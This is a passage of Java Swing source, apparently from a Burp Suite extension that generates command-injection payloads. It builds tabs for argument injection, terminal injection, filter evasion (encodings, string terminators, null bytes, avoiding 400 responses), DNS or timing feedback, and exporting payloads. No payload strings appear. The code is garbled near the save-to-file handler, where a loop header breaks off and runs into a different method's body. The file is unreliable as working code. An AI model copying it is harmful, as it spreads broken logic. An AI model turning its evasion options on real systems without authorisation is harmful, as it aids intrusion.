.addComponent(jLabel11, javax.swing.GroupLayout.PREFERRED_SIZE, 256, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(37, 37, 37)
.addComponent(argInjectionCheckBox, javax.swing.GroupLayout.PREFERRED_SIZE, 388, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(jPanel5Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(uncPathsCheckBox, javax.swing.GroupLayout.PREFERRED_SIZE, 467, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGroup(jPanel5Layout.createSequentialGroup()
.addGap(486, 486, 486)
.addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel5Layout.createSequentialGroup()
.addGap(14, 14, 14)
.addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(injectAdditionalArguments, javax.swing.GroupLayout.PREFERRED_SIZE, 626, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(bruteArgInjections, javax.swing.GroupLayout.PREFERRED_SIZE, 477, javax.swing.GroupLayout.PREFERRED_SIZE)))
.addGroup(jPanel5Layout.createSequentialGroup()
.addGap(18, 18, 18)
.addComponent(defaultArgBruteRange, javax.swing.GroupLayout.PREFERRED_SIZE, 721, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(injectHTTPCheckBox, javax.swing.GroupLayout.PREFERRED_SIZE, 601, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(injectSmbCheckBox, javax.swing.GroupLayout.PREFERRED_SIZE, 618, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(injectFileCheckBox, javax.swing.GroupLayout.PREFERRED_SIZE, 640, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGroup(jPanel5Layout.createSequentialGroup()
.addComponent(customArgBruteRange, javax.swing.GroupLayout.PREFERRED_SIZE, 379, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(18, 18, 18)
.addComponent(customCharacterRange, javax.swing.GroupLayout.PREFERRED_SIZE, 283, javax.swing.GroupLayout.PREFERRED_SIZE))
.addComponent(jLabel6, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(injectUncCheckBox, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)))))))
.addContainerGap(621, Short.MAX_VALUE))
);
jPanel5Layout.setVerticalGroup(
jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel5Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(argInjectionCheckBox)
.addComponent(fixedArguments))
.addGap(6, 6, 6)
.addComponent(jLabel11)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(uncPathsCheckBox, javax.swing.GroupLayout.PREFERRED_SIZE, 25, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(injectAdditionalArguments)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(bruteArgInjections)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(defaultArgBruteRange)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(customArgBruteRange)
.addComponent(customCharacterRange, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jLabel6)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(injectHTTPCheckBox)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(injectSmbCheckBox)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(injectFileCheckBox)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(injectUncCheckBox)
.addContainerGap(368, Short.MAX_VALUE))
);
jTabbedPane1.addTab("Argument injection", jPanel5);
doTerminalInjection.setText("Test for terminal injection");
doTerminalInjection.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
doTerminalInjectionActionPerformed(evt);
}
});
javax.swing.GroupLayout jPanel6Layout = new javax.swing.GroupLayout(jPanel6);
jPanel6.setLayout(jPanel6Layout);
jPanel6Layout.setHorizontalGroup(
jPanel6Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel6Layout.createSequentialGroup()
.addGap(20, 20, 20)
.addComponent(doTerminalInjection, javax.swing.GroupLayout.PREFERRED_SIZE, 1091, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(747, Short.MAX_VALUE))
);
jPanel6Layout.setVerticalGroup(
jPanel6Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel6Layout.createSequentialGroup()
.addContainerGap()
.addComponent(doTerminalInjection)
.addContainerGap(713, Short.MAX_VALUE))
);
jTabbedPane1.addTab("Terminal injection", jPanel6);
jLabel9.setText("Output encodings to use");
encodeList.setModel(new javax.swing.AbstractListModel() {
String[] strings = { "URL" };
public int getSize() { return strings.length; }
public String getElementAt(int i) { return strings[i]; }
});
jScrollPane1.setViewportView(encodeList);
encodingsToUse.setModel(new javax.swing.DefaultComboBoxModel<>(new String[] { "URL (default)", "None", "Double URL" }));
encodingsToUse.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
encodingsToUseActionPerformed(evt);
}
});
removeEncoding.setText("Remove");
removeEncoding.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
removeEncodingActionPerformed(evt);
}
});
jButton4.setText("Clear");
jButton4.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton4ActionPerformed(evt);
}
});
useTerminatorsCheckBox.setSelected(true);
useTerminatorsCheckBox.setText("Try to terminate strings");
useTerminatorsCheckBox.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
useTerminatorsCheckBoxActionPerformed(evt);
}
});
includeLiteralWhites.setSelected(true);
includeLiteralWhites.setText("Include literal space/null/newline/tab");
includeLiteralWhites.setActionCommand("Include literal white chars (space, tab, newline, nullbyte)");
includeLiteralWhites.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
includeLiteralWhitesActionPerformed(evt);
}
});
includeThePooComboBox.setText("Include the 💩 (POO) character as terminator");
osSpecificTerminators.setSelected(true);
osSpecificTerminators.setText("Include OS-specific terminators (nix \"#', win \"::\") ");
jScrollPane3.setViewportView(terminatorList);
removeTerminatorButton.setText("Remove selected");
removeTerminatorButton.setEnabled(false);
removeTerminatorButton.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
removeTerminatorButtonActionPerformed(evt);
}
});
addTerminatorButton.setText("Add");
addTerminatorButton.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
addTerminatorButtonActionPerformed(evt);
}
});
jLabel13.setText("List editor display & input format:");
terminatorASCIIFormat.setText("ASCII");
terminatorASCIIFormat.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
terminatorASCIIFormatActionPerformed(evt);
}
});
terminatorHexFormat.setSelected(true);
terminatorHexFormat.setText("HEX");
terminatorHexFormat.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
terminatorHexFormatActionPerformed(evt);
}
});
jLabel8.setText("Define custom string terminators:");
useNullByte.setSelected(true);
useNullByte.setText("Use NULL byte");
smart400Avoidance.setSelected(true);
smart400Avoidance.setText("Use smart 400 Bad request avoidance (Scanner only)");
javax.swing.GroupLayout jPanel2Layout = new javax.swing.GroupLayout(jPanel2);
jPanel2.setLayout(jPanel2Layout);
jPanel2Layout.setHorizontalGroup(
jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel2Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 679, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGroup(jPanel2Layout.createSequentialGroup()
.addComponent(encodingsToUse, javax.swing.GroupLayout.PREFERRED_SIZE, 213, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(29, 29, 29)
.addComponent(removeEncoding, javax.swing.GroupLayout.PREFERRED_SIZE, 176, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(77, 77, 77)
.addComponent(jButton4, javax.swing.GroupLayout.PREFERRED_SIZE, 174, javax.swing.GroupLayout.PREFERRED_SIZE))
.addComponent(jLabel9, javax.swing.GroupLayout.PREFERRED_SIZE, 706, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(includeLiteralWhites, javax.swing.GroupLayout.PREFERRED_SIZE, 672, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(smart400Avoidance, javax.swing.GroupLayout.PREFERRED_SIZE, 663, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(33, 33, 33)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(useNullByte, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jLabel8, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(removeTerminatorButton, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jScrollPane3)
.addComponent(osSpecificTerminators, javax.swing.GroupLayout.DEFAULT_SIZE, 785, Short.MAX_VALUE)
.addComponent(includeThePooComboBox, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jLabel13, javax.swing.GroupLayout.PREFERRED_SIZE, 554, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(useTerminatorsCheckBox, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addGroup(jPanel2Layout.createSequentialGroup()
.addComponent(addTerminatorButton)
.addGap(18, 18, 18)
.addComponent(addTerminatorField, javax.swing.GroupLayout.PREFERRED_SIZE, 505, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(jPanel2Layout.createSequentialGroup()
.addComponent(terminatorASCIIFormat)
.addGap(18, 18, 18)
.addComponent(terminatorHexFormat)))
.addContainerGap(322, Short.MAX_VALUE))
);
jPanel2Layout.setVerticalGroup(
jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel2Layout.createSequentialGroup()
.addContainerGap()
.addComponent(useTerminatorsCheckBox, javax.swing.GroupLayout.PREFERRED_SIZE, 37, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(includeThePooComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 25, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(osSpecificTerminators)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(useNullByte)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jLabel8, javax.swing.GroupLayout.PREFERRED_SIZE, 21, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jScrollPane3, javax.swing.GroupLayout.PREFERRED_SIZE, 104, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(removeTerminatorButton)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(addTerminatorButton)
.addComponent(addTerminatorField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jLabel13)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(terminatorASCIIFormat)
.addComponent(terminatorHexFormat))
.addContainerGap(323, Short.MAX_VALUE))
.addGroup(jPanel2Layout.createSequentialGroup()
.addComponent(jLabel9, javax.swing.GroupLayout.PREFERRED_SIZE, 36, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(13, 13, 13)
.addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 87, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(18, 18, 18)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(encodingsToUse, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(removeEncoding)
.addComponent(jButton4))
.addGap(26, 26, 26)
.addComponent(includeLiteralWhites, javax.swing.GroupLayout.PREFERRED_SIZE, 37, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(smart400Avoidance)
.addGap(0, 0, Short.MAX_VALUE))
);
jTabbedPane1.addTab("Evasive techniques", jPanel2);
jLabel2.setText("Instead of feeding the tools, save the result payload set:");
saveToFileButton.setText("To file");
saveToFileButton.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
saveToFileButtonActionPerformed(evt);
}
});
saveToClipBoardButton.setText("To clipboard");
saveToClipBoardButton.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
saveToClipBoardButtonActionPerformed(evt);
}
});
javax.swing.GroupLayout jPanel3Layout = new javax.swing.GroupLayout(jPanel3);
jPanel3.setLayout(jPanel3Layout);
jPanel3Layout.setHorizontalGroup(
jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel3Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, 932, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGroup(jPanel3Layout.createSequentialGroup()
.addComponent(saveToFileButton, javax.swing.GroupLayout.PREFERRED_SIZE, 213, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(31, 31, 31)
.addComponent(saveToClipBoardButton, javax.swing.GroupLayout.PREFERRED_SIZE, 213, javax.swing.GroupLayout.PREFERRED_SIZE)))
.addContainerGap(914, Short.MAX_VALUE))
);
jPanel3Layout.setVerticalGroup(
jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel3Layout.createSequentialGroup()
.addGap(21, 21, 21)
.addComponent(jLabel2)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(saveToFileButton, javax.swing.GroupLayout.PREFERRED_SIZE, 41, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(saveToClipBoardButton, javax.swing.GroupLayout.PREFERRED_SIZE, 41, javax.swing.GroupLayout.PREFERRED_SIZE))
.addContainerGap(655, Short.MAX_VALUE))
);
jTabbedPane1.addTab("Save the payloads", jPanel3);
verboseOutputCheckBox.setText("Verbose extension output");
verboseOutputCheckBox.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
verboseOutputCheckBoxActionPerformed(evt);
}
});
checkForInteractions.setText("Check for new collaborator interactions now");
checkForInteractions.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
checkForInteractionsActionPerformed(evt);
}
});
flushTheTrackerButton.setText("Reset collaborator session tracker (only if you know what you are doing)");
flushTheTrackerButton.setToolTipText("");
flushTheTrackerButton.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
flushTheTrackerButtonActionPerformed(evt);
}
});
javax.swing.GroupLayout advancedPanelLayout = new javax.swing.GroupLayout(advancedPanel);
advancedPanel.setLayout(advancedPanelLayout);
advancedPanelLayout.setHorizontalGroup(
advancedPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(advancedPanelLayout.createSequentialGroup()
.addGroup(advancedPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, advancedPanelLayout.createSequentialGroup()
.addContainerGap()
.addComponent(checkForInteractions, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, advancedPanelLayout.createSequentialGroup()
.addGap(20, 20, 20)
.addComponent(verboseOutputCheckBox, javax.swing.GroupLayout.PREFERRED_SIZE, 935, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, advancedPanelLayout.createSequentialGroup()
.addContainerGap()
.addComponent(flushTheTrackerButton, javax.swing.GroupLayout.DEFAULT_SIZE, 1013, Short.MAX_VALUE)))
.addContainerGap(833, Short.MAX_VALUE))
);
advancedPanelLayout.setVerticalGroup(
advancedPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(advancedPanelLayout.createSequentialGroup()
.addGap(28, 28, 28)
.addComponent(verboseOutputCheckBox)
.addGap(18, 18, 18)
.addComponent(checkForInteractions, javax.swing.GroupLayout.PREFERRED_SIZE, 67, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(18, 18, 18)
.addComponent(flushTheTrackerButton, javax.swing.GroupLayout.PREFERRED_SIZE, 66, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(528, Short.MAX_VALUE))
);
jTabbedPane1.addTab("Advanced", advancedPanel);
jLabel1.setText("Byte range");
byteGeneratorRangeCombo.setModel(new javax.swing.DefaultComboBoxModel<>(new String[] { "Non-numeric", "Alphanumeric", "Non-alphanumeric printable", "Non-alphanumeric non-printable", "Non-alphanumeric non-printable <128", "All" }));
byteGeneratorRangeCombo.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
byteGeneratorRangeComboActionPerformed(evt);
}
});
javax.swing.GroupLayout jPanel4Layout = new javax.swing.GroupLayout(jPanel4);
jPanel4.setLayout(jPanel4Layout);
jPanel4Layout.setHorizontalGroup(
jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel4Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 209, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(byteGeneratorRangeCombo, javax.swing.GroupLayout.PREFERRED_SIZE, 751, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(874, Short.MAX_VALUE))
);
jPanel4Layout.setVerticalGroup(
jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel4Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(byteGeneratorRangeCombo, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 43, javax.swing.GroupLayout.PREFERRED_SIZE))
.addContainerGap(695, Short.MAX_VALUE))
);
jTabbedPane1.addTab("Byte generator", jPanel4);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this);
this.setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jTabbedPane1)
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jTabbedPane1, javax.swing.GroupLayout.Alignment.TRAILING)
);
}// //GEN-END:initComponents
private void jButton4ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton4ActionPerformed
initiateEncodings();
}//GEN-LAST:event_jButton4ActionPerformed
private void targetOSComboActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_targetOSComboActionPerformed
// TODO add your handling code here:
switch(targetOSCombo.getSelectedIndex())
{
case 0 : { this.targetOS="all"; break;}
case 1 : { this.targetOS="win"; break;}
case 2 : { this.targetOS="nix"; break;}
}
}//GEN-LAST:event_targetOSComboActionPerformed
private void feedbackChannelComboActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_feedbackChannelComboActionPerformed
delayTimeSpinner.setEnabled(false);
switch(feedbackChannelCombo.getSelectedIndex())
{
case 0 : { this.feedbackChannel="DNS"; break;}
case 1 : { this.feedbackChannel="time"; delayTimeSpinner.setEnabled(true); break;}
// case 2 : { this.feedbackChannel="filesystem"; break; } //
// there also SHOULD be the 'echo' feedback channel supported
// case 3 : { this.feedbackChannel="echo"; break; } // no asynchronous payload tracking
}
}//GEN-LAST:event_feedbackChannelComboActionPerformed
private void updatePayloadMarkingHolder()
{
String dot="";
if(this.feedbackChannel=="DNS")
{
dot=".";
}
if(payloadMarkingBox.isSelected())
{//checkbox has been selected
if(!this.argumentField.getText().contains("PAYLOAD_MARK"))
{
this.argumentField.setText("PAYLOAD_MARK"+dot+argumentField.getText());
}
}
else
{
if(this.argumentField.getText().contains("PAYLOAD_MARK"))
{
this.argumentField.setText(argumentField.getText().replace("PAYLOAD_MARK"+dot,""));
}
}
}
private void payloadMarkingBoxActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_payloadMarkingBoxActionPerformed
updatePayloadMarkingHolder();
}//GEN-LAST:event_payloadMarkingBoxActionPerformed
private void scannerChecksBoxActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_scannerChecksBoxActionPerformed
// TODO add your handling code here:
if(scannerChecksBox.isSelected())
{
scannerChecks=true;
}
else
{
scannerChecks=false;
}
}//GEN-LAST:event_scannerChecksBoxActionPerformed
private void removeEncodingActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_removeEncodingActionPerformed
if(encodeList.getSelectedIndex()!=-1) removeFromListData(encodeList,(String)encodeList.getModel().getElementAt(encodeList.getSelectedIndex()));
if(encodeList.getModel().getSize()==0) this.initiateEncodings();
}//GEN-LAST:event_removeEncodingActionPerformed
private void encodingsToUseActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_encodingsToUseActionPerformed
switch(encodingsToUse.getSelectedIndex())
{
case 0 : {
this.initiateEncodings(); break;
}
case 1 : { String n[]={"URL"}; appendListData(encodeList,n); break;}
case 2 : { String n[]={"Double URL"}; appendListData(encodeList,n); break;}
}
}//GEN-LAST:event_encodingsToUseActionPerformed
private void byteGeneratorRangeComboActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_byteGeneratorRangeComboActionPerformed
// TODO add your handling code here:
switch (byteGeneratorRangeCombo.getSelectedIndex())
{
case 0:
{
this.byteGeneratorRange = "non-alpha";
break;
}
case 1:
{
this.byteGeneratorRange = "alpha";
break;
}
case 2:
{
this.byteGeneratorRange = "non-alpha-print";
break;
}
case 3:
{
this.byteGeneratorRange = "non-alpha-non-print";
break;
}
case 4:
{
this.byteGeneratorRange = "non-alpha-non-print-low";
break;
}
case 5:
{
this.byteGeneratorRange = "all";
break;
}
}
}//GEN-LAST:event_byteGeneratorRangeComboActionPerformed
// this method simply runs a new payload generator, runs it and fills this.payloads with its results
// used by save to file/copy to clipboard features
protected void generatePayloads()
{
// now, for some reason this instance creation hangs burp
IntruderPayloadGenerator generator = new IntruderPayloadGenerator("cmd", SHELLING.ShellingTab, "export", null, "");
// this.lastGenerator = generator; //
payloads = new ArrayList();
while(generator.hasMorePayloads())
{
byte[] empty={};
byte[] payload = generator.getNextPayload(empty);
// there is no insertion point for this option; the insertion point is the file/clipboard
// hence the argument is empty, but could be the file name as well
if(payload.length==1)
{ //payload generation failed, move onto next command
logOutput("Payload generation failed!");
}
payloads.add(SHELLING.callbacks.getHelpers().bytesToString(payload));
// bytesToString
}
//jTabbedPane1.setTitleAt(5,"Save "+payloads.size()+" payloads");
}
private void saveToFileButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_saveToFileButtonActionPerformed
// TODO add your handling code here:
// save payloads to file
JFileChooser fileChooser = new JFileChooser();
if (fileChooser.showSaveDialog(this) == JFileChooser.APPROVE_OPTION)
{
// new generator
File file = fileChooser.getSelectedFile();
logOutput("File chosen:"+file.getAbsolutePath());
this.generatePayloads();
logOutput("Generated "+payloads.size()+" payloads, saving...");
BufferedWriter writer = null;
try
{
writer = new BufferedWriter( new FileWriter(file.getAbsolutePath()));
for(int i=0;i0)
{
this.collabSessions.get(0).count=0;
}
this.collabSessions.clear();
this.flushThetracker();
logOutput("Flushed all the collaborator sessions. All the tracking information of any collaborator sessions and payloads has been lost.");
}//GEN-LAST:event_flushTheTrackerButtonActionPerformed
private void checkForInteractionsActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_checkForInteractionsActionPerformed
// TODO add your handling code here:
this.checkCollabInteractions(true);
}//GEN-LAST:event_checkForInteractionsActionPerformed
private void fixedArgumentsActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_fixedArgumentsActionPerformed
// TODO add your handling code here:
if(fixedArguments.isSelected())
{
//injectCSwitchCheckBox.setEnabled(true);
uncPathsCheckBox.setEnabled(true);
//hijackOutputNixCheckBox.setEnabled(true);
//oOutputFlagHijackCheckBox.setEnabled(true);
//findExecInjectCheckBox.setEnabled(true);
//maliciousCommandArgument.setEnabled(true);
}
else
{
//injectCSwitchCheckBox.setEnabled(false);
uncPathsCheckBox.setEnabled(false);
//hijackOutputNixCheckBox.setEnabled(false);
//oOutputFlagHijackCheckBox.setEnabled(false);
//findExecInjectCheckBox.setEnabled(false);
//maliciousCommandArgument.setEnabled(false);
}
}//GEN-LAST:event_fixedArgumentsActionPerformed
private void argInjectArgumentsUI()
{
if(bruteArgInjections.isSelected()==false&&this.injectAdditionalArguments.isSelected()==false)
{
injectHTTPCheckBox.setEnabled(false);
injectSmbCheckBox.setEnabled(false);
injectFileCheckBox.setEnabled(false);
injectUncCheckBox.setEnabled(false);
// maliciousCommandArgument.setEnabled(false);
}
if(bruteArgInjections.isSelected()==true||this.injectAdditionalArguments.isSelected()==true)
{
injectHTTPCheckBox.setEnabled(true);
injectSmbCheckBox.setEnabled(true);
injectFileCheckBox.setEnabled(true);
injectUncCheckBox.setEnabled(true);
// maliciousCommandArgument.setEnabled(true);
}
if(bruteArgInjections.isSelected()==true)
{
customArgBruteRange.setEnabled(true);
defaultArgBruteRange.setEnabled(true);
if(defaultArgBruteRange.isSelected()==false)
{
customCharacterRange.setEnabled(true);
}
else
{
customCharacterRange.setEnabled(false);
}
}
else
{
customArgBruteRange.setEnabled(false);
defaultArgBruteRange.setEnabled(false);
customCharacterRange.setEnabled(false);
}
}
private void injectAdditionalArgumentsActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_injectAdditionalArgumentsActionPerformed
// TODO add your handling code here:
this.argInjectArgumentsUI();
}//GEN-LAST:event_injectAdditionalArgumentsActionPerformed
private void bruteArgInjectionsActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_bruteArgInjectionsActionPerformed
// TODO add your handling code here:
this.argInjectArgumentsUI();
}//GEN-LAST:event_bruteArgInjectionsActionPerformed
private void injectHTTPCheckBoxActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_injectHTTPCheckBoxActionPerformed
// TODO add your handling code here:
}//GEN-LAST:event_injectHTTPCheckBoxActionPerformed
private void customArgBruteRangeActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_customArgBruteRangeActionPerformed
// TODO add your handling code here:
if(customArgBruteRange.isSelected()==true)
{
